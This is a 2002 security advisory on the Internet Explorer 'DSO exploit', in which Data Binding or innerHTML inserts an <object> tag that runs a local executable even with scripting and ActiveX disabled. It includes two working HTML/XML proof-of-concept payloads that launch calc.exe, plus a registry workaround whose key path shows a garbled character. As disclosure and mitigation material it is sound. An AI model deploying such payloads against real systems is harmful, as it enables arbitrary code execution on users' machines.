Executing arbitrary commands without Active Scripting or ActiveX: The DSO Exploit

Discovery date: 25 Feb 2002.
Affected applications: Any application that hosts the WebBrowser control (5.5+) is affected since this exploit does not require Active Scripting or ActiveX. Some of these applications are:
Microsoft Internet Explorer
Microsoft Outlook
Microsoft Outlook Express
Introduction: In an advisory from Jan 10 2002 "The Pull" demonstrated how it is still possible to use an older bug (initially discovered by Dildog) in the <object> HTML element to run arbitrary commands.
Although "The Pull"'s findings were interesting, his analysis of the re-found bug was erroneous, the problem does not lie within the Popup object, the problem is with dynamically inserted HTML fragments at any point in the document.
All "createPopup" does is create a (featureless) window containing an empty HTML document, this does not pose a threat, but later on, that document has HTML injected to it (using innerHTML), which is the actual problem.
For example, the following code will work just the same:

<span id="oSpan"></span>
<script language="jscript" defer>
oSpan.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>';
</script>
(Note: innerHTML is not the only property used to dynamically insert HTML to any element, it is also possible to use outerHTML, insertAdjacentHTML and more to gain the same results.)
Discussion: So now that we identified the origin of the problem we can search for ways to dynamically insert HTML without using any Active Scripting at all. It will then become possible to use this bug in more "protected" environments, such as Microsoft Outlook or Internet Explorer with Active Scripting and ActiveX disabled.
One of the exciting features that came along in IE4 was Data Binding; it enables developers to completely separate any application data from the presentation layer. The data sources (DSO) for Data Binding can be almost anything, CSV files (with TDC), HTML, XML and many more. Data Binding binds HTML elements (data consumers) such as div or span to the DSO without need for a single line of script code.
We found out that when the "dataFormatAs" attribute is set to "HTML" on the consumer, Data Binding internally uses innerHTML in order to insert the data into the element (otherwise innerText is used).
So all we need to do now is supply a DSO that contains the offending <object> element, the rest will be done for us by the Data Binding engine, no scripting needed.
Exploit: In the following example we're using an XML data-island as our DSO and a span element as the data consumer. Using XML is especially comfortable because it can be embedded within the document, without need for external requests that may be stopped by the host application.
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
Solution: There is no configuration-tweaking workaround for this bug, it will work as long as the browser parses HTML. The only possible solution must come in the form of a patch from Microsoft.
Update - 3 Mar 2002
Since the injected <object> runs in the "My Computer" Zone changing the Internet Zone's settings didn't affect it, but changing the correct zone's settings will prevent this exploit from running.
Here is the registry information:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesΘ]
Change the value of "1004" (DWORD) to 3.
Many thanks to Axel Pettinger and Garland Hopkins for this workaround.
Tested on: IE5.5 Win98.
IE5.5 NT4.
IE6 Win2000.
IE6 WinXP.